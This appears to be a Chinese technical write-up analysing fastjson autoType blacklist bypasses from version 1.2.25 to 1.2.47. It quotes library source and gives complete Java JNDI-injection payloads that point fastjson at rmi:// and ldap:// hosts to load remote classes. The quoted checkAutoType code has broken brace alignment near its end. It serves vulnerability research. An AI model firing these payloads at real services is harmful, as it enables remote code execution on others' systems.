1.一些基础概念

在1.2.25之后的版本,以及所有的.sec01后缀版本中,autotype功能就会受限。我们可以通过设置黑名单白名单来限制autotype。(autotype即@type)
在1.2.68之后的版本,fastjson增加了safeMode的支持,safeMode打开之后,完全禁用autoType。所有的安全修复版本sec10也支持safemode配置。

2.fastjson1.2.25-fastjson 1.2.41补丁绕过

在补丁之后会增加一个checkAutotype的方法,有一些黑名单。
这个利用有点鸡肋,就是必须要开autotype。默认是关闭的。
用之前的链去打就会报image.png
所以我们首先要开启autotype。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
我们的目的就是绕过checkAutotype。
我们看一下checkAutotype的代码。
首先看我们类的长度,如果类名过长就抛出异常。
然后看是否开启autotype,如果开启的话就先去匹配白名单,然后匹配黑名单。
我们来看一下我们是如何做到bypass的。这是我们的黑名单列表,
可以看到我们在我们的类路径及类名中添加了L和;导致黑名单没有如愿的匹配上。
image.png

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    }

    if (typeName.length() >= 128) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    final String className = typeName.replace('$', '.');
    Class<?> clazz = null;

    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                if (clazz != null) {
                    return clazz;
                }
            }
        }

        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

    if (clazz == null) {
        clazz = TypeUtils.getClassFromMapping(typeName);
    }

    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
        if (expectClass != null
            && clazz != java.util.HashMap.class
            && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }

    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                }

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    if (clazz == null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
    }

    if (clazz != null) {
        if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
            return clazz;
        }

        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
           ) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
        }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        }

            final int mask = Feature.SupportAutoType.mask;
            boolean autoTypeSupport = this.autoTypeSupport
            || (features & mask) != 0
            || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

            if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

            return clazz;
        }

继续往下,就会loadClass去加载类,我们跟进。

if (clazz == null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

在loadClass中,对L开头;闭合的字符串里的类有特殊处理。
他会将开头的L和结尾;去掉,然后继续去用loadClass去加载类。从而达到bypass的效果。

if(className.startsWith("L") && className.endsWith(";")){
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

fastjson 1.2.42 bypass

在1.2.41出问题之后,1.2.42中修复了问题。将黑名单改为了加密后的denyHashCodes。且对前面加L后面加;的写法, 直接将L和;去掉,再去做验证。
只要双写,这边走一遍,把L去掉;去掉,然后再去loadClass的时候把另外一个L和;去掉。就成功loadClass了。

if ((((BASIC
       ^ className.charAt(0))
      * PRIME)
     ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    className = className.substring(1, className.length() - 1);
}

故fastjson 1.2.42 bypss的payload为

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class JNDIPayload {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        final String jdbcrowsetimpl="LLcom.sun.rowset.JdbcRowSetImpl;;";
        String payload1="{" +
            "\"@type\":\""+jdbcrowsetimpl+"\","+
            "\"dataSourceName\":"+
            "\"rmi://172.20.10.2:8085/RGAzWVvA\","+
            "\"autoCommit\":true"+
            "}";
        System.out.println(payload1);
        JSONObject jsonObject=JSONObject.parseObject(payload1);
    }
}

fastjson 1.2.43 bypass

对LL;;可以绕过的情况做了过滤,如果是只有一个L;,就除了之后去再走黑名单去过滤,如果第二个字符还是L,那么就继续删。然后再去匹配黑名单。至此,双写绕过的方法就无了。
先抛出payload 显得有些迷茫。我们慢慢分析。

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class JNDIPayload {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        final String jdbcrowsetimpl="[com.sun.rowset.JdbcRowSetImpl";
        String payload1="{" +
            "\"@type\":\""+jdbcrowsetimpl+"\"[{,"+
            "\"dataSourceName\":"+
            "\"rmi://127.0.0.1:8085/QobRYXNk\","+
            "\"autoCommit\":true"+
            "}";
        System.out.println(payload1);
        JSONObject jsonObject=JSONObject.parseObject(payload1);
    }
}

首先是在类路径.类名前面加一个[,在类名后加上[{,这波操作显得我有些迷茫。
我们可以debug一下。
通过这里,我们的类名就变成了前面[后面;的形式
image.png
传进去的时候我们的类还是[com.sun.rowset.JdbcRowSetImpl,那我们看看他做了什么奇奇怪怪的操作。
通过这步的return,class就变成了[L开头,;结尾。
image.png
具体做了什么,我们暂时不得而知,因为最后跟进去是native方法。
我们只要知道return出来的是前[L 后;的类名格式了。继续往下走。
经过getComponentType,去掉了[L,后; .
image.png
我们继续跟进parseArray,就会发现如果token不为14,就会抛出异常.
也就是如果不为
image.png
后续也是差不多,就是加各种字符也就是为了不抛异常。
这payload,就是根据他报错,期望什么,我们就加什么。

fastjson 1.2.45 bypass

这个版本,L ;会抛异常,如果开头是也会抛异常。
所以我们只能找不在黑名单里的类。
这个版本需要其他的依赖用来组链子,所以不是很方便。
这里大佬用了JndiDataSourceFactory。进行JNDI注入。其实还有好几条链子。
[https://paper.seebug.org/1155/#1-orgapacheshirojndijndiobjectfactory

有时间做具体的研究。
这payload用的这条链子,就需要mybatis的依赖

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class JNDI45 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        final String jndi="org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
        String s="{\"@type\":\"" +jndi+"\","+
            "\"properties\":{"+
            "\"data_source\":"+
            "\"ldap://127.0.0.1:8085/QobRYXNk\"}"+
            "}";
        System.out.println(s);
        JSONObject jsonObject=JSONObject.parseObject(s);
    }
}

fastjson 1.2.47 bypass

在之前我们的绕过都需要开启autotype,不然就无法利用成功,在1.2.47,有大佬直接bypass掉了autotype。
其实就是因为Class没有在黑名单,checkAutotype可以过,然后将恶意类放入了一个map中,然后再次加载的时候可以不通过黑名单,直接加载。
先看payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class JNDIPayload {
    public static void main(String[] args) {
        String payload4="{ \"name\":{ \"@type\":\"java.lang.Class\", \"val\":\"com.sun.rowset.JdbcRowSetImpl\" }, \"x\":{ \"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:8085/bMvFIZLo\", \"autoCommit\":true } }";
        JSONObject jsonObject = JSON.parseObject(payload4);
    }
}

我们抓住几个关键点。
我们可以看到了进入@type,进入之后就是checkAutotype
image.png
checkAutotype结束后,就到了findClass环节,因为deserializers缓存中有Class类,所以可以直接拿了。
image.png
继续往后走,会用MiscCodec.deserialze对其进行反序列化。
这个反序列化方法对Class会调用TypeUtil.loadClass进行处理。
跟进loadClass,这个cache默认为true。
image.png
可以看到cache默认为true,为我们的bypass做了伏笔。
接下来就是第二个x字段了。
我们可以看到这里,如果我们的@type开了会过不了。
image.png
往下我们可以看到clazz.getClassFromMapping(typename)
直接拿到了恶意类并进行了后续操作。
image.png
总结来说,就是通过Class,将恶意类存入到了map中,第二次去调用由于autotype没开,所以直接从map中取,导致恶意类被加载。